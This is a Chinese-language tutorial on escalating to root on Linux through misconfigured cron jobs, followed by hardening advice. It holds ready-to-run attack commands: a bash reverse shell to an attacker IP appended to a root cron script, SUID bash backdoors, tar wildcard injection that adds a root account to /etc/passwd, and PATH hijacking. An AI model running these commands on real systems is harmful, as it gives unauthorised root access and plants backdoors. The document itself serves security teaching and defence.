Linux系统提权之计划任务(Cron Jobs)提权
Linux系统提权之计划任务(Cron Jobs)提权
计划任务(Cron)是Linux系统用于定时执行任务的守护进程。系统管理员常用它来自动化系统维护或管理任务。配置不当的计划任务可以被攻击者利用来获取更高权限(通常是root权限)。
1. 查找计划任务
信息收集是第一步,需要找出系统上设置了哪些计划任务。
查看系统级计划任务:
cat /etc/crontab
ls -al /etc/cron.* # 查看每小时、每天、每周、每月执行的任务目录
ls -la /var/spool/cron/crontabs/ # 查看各用户的cron任务(通常需要root权限)
查看当前用户的计划任务:
crontab -l
常用的查找命令:
# 查找所有cron任务文件(包括系统级和用户级)
find /etc/cron* -type f 2>/dev/null
find /var/spool/cron -type f 2>/dev/null# 查找具有写权限的cron文件(重点目标!)
find /etc/cron* -writable -type f 2>/dev/null
find /var/spool/cron -writable -type f 2>/dev/null
2. 利用方式
计划任务的提权主要源于以下几种配置错误:
2.1 可写的Cron脚本(Writable Cron Script)
如果Cron任务本身执行的脚本(例如 /etc/cron.hourly/backup.sh
)全局可写(权限为777或所有者是当前用户),那么你可以直接修改这个脚本,插入你的反向Shell或添加SUID Shell的命令。
利用步骤:
- 发现一个每分钟/每5分钟以root身份运行的可写脚本。
- 编辑该脚本,添加提权命令。
- 等待Cron执行该脚本,获取root权限。
示例:
假设发现 /etc/cron.hourly/automated-backup
可写,并且它以root身份运行。
# 1. 查看当前内容
cat /etc/cron.hourly/automated-backup# 2. 追加一个反向Shell命令(假设攻击者IP是10.0.0.5,端口是4444)
echo 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' >> /etc/cron.hourly/automated-backup# 或者追加一个创建SUID Bash的命令
echo 'cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash' >> /etc/cron.hourly/automated-backup# 3. 等待计划任务执行,然后使用 /tmp/rootbash -p 获取root shell。
2.2 可写的Cron目录(Writable Cron Directory)
如果Cron任务的目录(如 /etc/cron.d
、/etc/cron.hourly
)是可写的,即使脚本本身不可写,你也可以在其中创建自己的计划任务文件。
利用步骤:
- 发现一个可写的Cron目录(例如
find /etc/cron* -writable -type d
)。 - 在该目录下创建一个文件,内容为一行Cron任务配置。
- 等待任务执行。
示例:
假设 /etc/cron.d
目录全局可写。
# 1. 在 /etc/cron.d 目录下创建一个名为 `exploit` 的文件
cd /etc/cron.d
cat > exploit << EOF
# 计划任务语法: m h dom mon dow user command
* * * * * root chmod +xs /bin/bash
EOF# 2. 等待一分钟后,/bin/bash 将被设置SUID位,使用 `/bin/bash -p` 即可获得root shell。
2.3 通配符注入(Wildcard Injection)
如果Cron任务中的命令使用了通配符(*
),并且该目录可写,则可以通过创建特定文件名的文件来“欺骗”命令执行任意代码。
这是一种相对高级的技巧,常与 tar
、chmod
、rsync
等命令一起使用。
经典案例:利用Tar命令的--checkpoint
参数
假设Root用户设置了一个Cron任务,每天压缩 /var/www/html
目录:
* * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*
攻击者可以利用Tar的--checkpoint
和--checkpoint-action
选项。
利用步骤:
- 在可写的目录(这里是
/var/www/html
)下创建两个文件。 - 第一个文件用于触发
--checkpoint-action
执行命令。 - 第二个文件是通配符展开时排在
--checkpoint
选项后面的文件。
# 进入Cron任务运行的目录
cd /var/www/html# 创建将执行的文件
echo 'echo "root2:xxqibyydkD4Lg:0:0:root:/root:/bin/bash" >> /etc/passwd' > shell.sh
chmod +x shell.sh# 创建用于注入Tar参数的文件
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1# 等待Cron任务执行。执行后,会向/etc/passwd文件添加一个root权限的用户(密码为“password”)。
2.4 PATH变量劫持(PATH Manipulation)
如果Cron任务中执行的命令使用了相对路径(如 backup.sh
而不是 /usr/bin/backup.sh
),并且Cron的PATH
变量包含一个可写的目录(如 /home/user
),那么你可以创建一个同名的恶意程序放在那个目录下。
利用步骤:
- 查看Cron环境的PATH(通常在
/etc/crontab
顶部定义)。 - 找到一个在PATH中靠前且你可写的目录。
- 在该目录下创建一个与Cron任务中命令同名的恶意可执行文件。
- 等待Cron执行。
示例:
假设Cron的PATH是 PATH=/home/user:/bin:/sbin:/usr/bin:/usr/sbin
,并且有一个任务每天运行 cleanup-log
。
# 1. 在 /home/user 目录下创建名为 `cleanup-log` 的恶意脚本
cd /home/user
cat > cleanup-log << EOF
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod +xs /tmp/rootbash
EOF# 2. 赋予执行权限
chmod +x cleanup-log# 3. 等待计划任务执行,然后使用 /tmp/rootbash -p 获取root shell。
3. 防护与加固建议
作为系统管理员,应避免以下配置错误,以防止通过Cron提权:
- 最小权限原则:永远不要给Cron脚本或目录设置不必要的写权限(如777)。使用
chmod o-w <file>
移除其他用户的写权限。 - 使用绝对路径:在Cron任务脚本中,对所有命令都使用绝对路径(例如
/bin/tar
而不是tar
)。 - 谨慎使用通配符:在Cron命令中避免使用通配符,如果必须使用,请确保其运行目录不可被非特权用户写入。
- 安全的PATH变量:在
/etc/crontab
中设置一个安全、精简的PATH,例如PATH=/bin:/sbin:/usr/bin:/usr/sbin
,并避免包含当前目录(.
)或用户家目录。 - 定期审计:定期使用
find /etc/cron* -perm -o+w
等命令检查系统上的Cron配置是否有错误的权限设置。 - 日志监控:监控
/var/log/cron
或/var/log/syslog
,留意是否有异常的任务执行。
通过理解和检查这些常见的Cron配置错误,白帽子可以更有效地发现和利用提权向量,同时也能帮助系统管理员更好地加固他们的系统。